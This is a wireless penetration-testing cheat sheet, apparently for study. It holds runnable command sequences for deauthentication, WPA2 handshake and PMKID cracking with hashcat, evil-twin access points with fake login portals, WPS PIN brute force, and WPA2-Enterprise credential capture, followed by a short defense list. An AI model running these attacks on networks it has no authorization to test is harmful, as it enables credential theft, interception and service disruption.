Wireless Security & Attacks

WEP (Wired Equivalent Privacy):     Broken — RC4 with weak IVs
WPA (Wi-Fi Protected Access):       Deprecated — TKIP weak
WPA2 (2004-present):                AES-CCMP — industry standard
WPA3 (2018-present):                SAE (Dragonfly handshake) — stronger
WPS (Wi-Fi Protected Setup):        PIN-based setup — vulnerable to brute force

Enterprise modes:
WPA2-Enterprise: uses 802.1X + RADIUS server for user authentication
EAP types: PEAP, EAP-TLS, EAP-TTLS, EAP-FAST

Network modes:
Personal (PSK): shared passphrase — home/small business
Enterprise: individual user credentials via RADIUS

# Check wireless adapter
iwconfig
# Look for: wlan0 (mode: Managed)

# Put adapter in monitor mode:
ip link set wlan0 down
iwconfig wlan0 mode monitor
ip link set wlan0 up
iwconfig wlan0   # verify: Mode:Monitor

# Alternatively (airmon-ng):
sudo airmon-ng check kill     # kill interfering processes
sudo airmon-ng start wlan0    # creates wlan0mon
iwconfig wlan0mon             # Mode:Monitor

# Find wireless networks:
sudo airodump-ng wlan0mon
# Columns: BSSID (AP MAC), CH, ENC, ESSID (name), STATION (clients)

# Target a specific network:
sudo airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon
# -c: channel, --bssid: target AP MAC, -w: write to file

# Wait for a client to connect naturally, OR
# Force re-authentication with deauthentication attack:
sudo aireplay-ng --deauth 5 -a TARGET_BSSID -c CLIENT_MAC wlan0mon
# Sends 5 deauth frames to disconnect client → forces reconnect → handshake!

# Verify handshake captured:
# airodump-ng shows: WPA handshake: TARGET_BSSID in top right

# Files created: capture-01.cap, capture-01.csv

# Convert capture to hashcat format:
hcxpcapngtool -o hash.hc22000 capture-01.cap    # modern method
# OR older method:
aircrack-ng -J hash capture-01.cap              # then convert

# Crack with hashcat:
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# -m 22000 = WPA-PBKDF2-PMKID+EAPOL

# With rules for better coverage:
hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule

# Common WPA2 password patterns:
# Phone numbers, addresses, company names + numbers
# Create targeted wordlist:
crunch 8 12 0123456789 -o digits.txt            # all 8-12 digit combos
hashcat -m 22000 hash.hc22000 digits.txt        # if target uses numbers

# PMKID: extracted from Robust Security Network (RSN) IE in beacon frames
# No client connection needed! Works against modern WPA2 APs

# hcxdumptool captures PMKIDs:
sudo hcxdumptool -i wlan0mon --filterlist_ap=target_bssid -o pmkid.pcapng

# Convert:
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

# Crack identically:
hashcat -m 22000 hash.hc22000 rockyou.txt

# Create a rogue AP with same SSID as target
# Deauthenticate clients from real AP → clients connect to evil twin
# Capture credentials (for captive portal) or MITM traffic

# With hostapd-wpe (WPA2-Enterprise evil twin):
# Captures MSCHAPV2 credentials from enterprise clients

# Simple evil twin with airbase-ng:
sudo airbase-ng -e "Target_SSID" -c CHANNEL wlan0mon
# Creates at0 interface

# Set up DHCP and routing:
echo 1 > /proc/sys/net/ipv4/ip_forward
dhcpd -cf /etc/dhcp/dhcpd.conf at0

# Captive portal (social engineering):
# nginx serving a fake login page
# victim's traffic routed through attacker → captures credentials

# bettercap evil twin (all-in-one):
sudo bettercap -iface wlan0
wifi.recon on
wifi.deauth BSSID    # deauth clients
set wifi.ap.ssid "Target_SSID"
wifi.ap on

# WPS: Wi-Fi Protected Setup — PIN-based connection
# Design flaw: 8-digit PIN verified in two halves → 11,000 guesses max
# (10^4 + 10^3 = 11,000, not 10^8 = 100,000,000)

# Check if WPS is enabled:
wash -i wlan0mon   # lists WPS-enabled APs

# Reaver (WPS PIN brute force):
sudo reaver -i wlan0mon -b TARGET_BSSID -vv
# Takes 4-8 hours typically (if no rate limiting)
# Output: WPS PIN and WPA2 passphrase

# Bully (alternative):
sudo bully wlan0mon -b TARGET_BSSID -v 3

# PixieDust attack (instant WPS crack for some routers):
sudo reaver -i wlan0mon -b TARGET_BSSID -vv -K   # -K = PixieDust
# Some routers use predictable WPS PINs → crack in seconds

# Note: Most modern routers have WPS lockout or disable it

# Enterprise uses 802.1X + EAP + RADIUS
# Common vulnerability: invalid certificate accepted by clients

# Hostapd-wpe: evil twin for enterprise networks
# Captures username:MSCHAPV2 hash when clients connect

# Install:
apt install hostapd-wpe

# hostapd-wpe.conf:
# ssid=TargetCorp-WiFi
# auth_server_shared_secret=secret

# Run:
sudo hostapd-wpe hostapd-wpe.conf
# Captures: domain\username and NTChallengeResponse

# Crack captured MSCHAPV2:
asleap -C CHALLENGE -R RESPONSE -W rockyou.txt
# OR convert to hashcat format and crack -m 5500 (NTLMv1-SSP)

# Defense: always validate the RADIUS server certificate
# EAP-TLS: mutual certificate auth — protects against evil twin

WPA2 defense:
- Use WPA3 where possible (SAE prevents offline dictionary attacks)
- Long random passphrase (20+ chars) defeats hashcat
- Disable WPS
- MAC filtering (weak — easily spoofed)
- Wireless IDS: detect deauth floods and evil twins
- Certificate validation for WPA2-Enterprise
- Separate guest VLAN from corporate network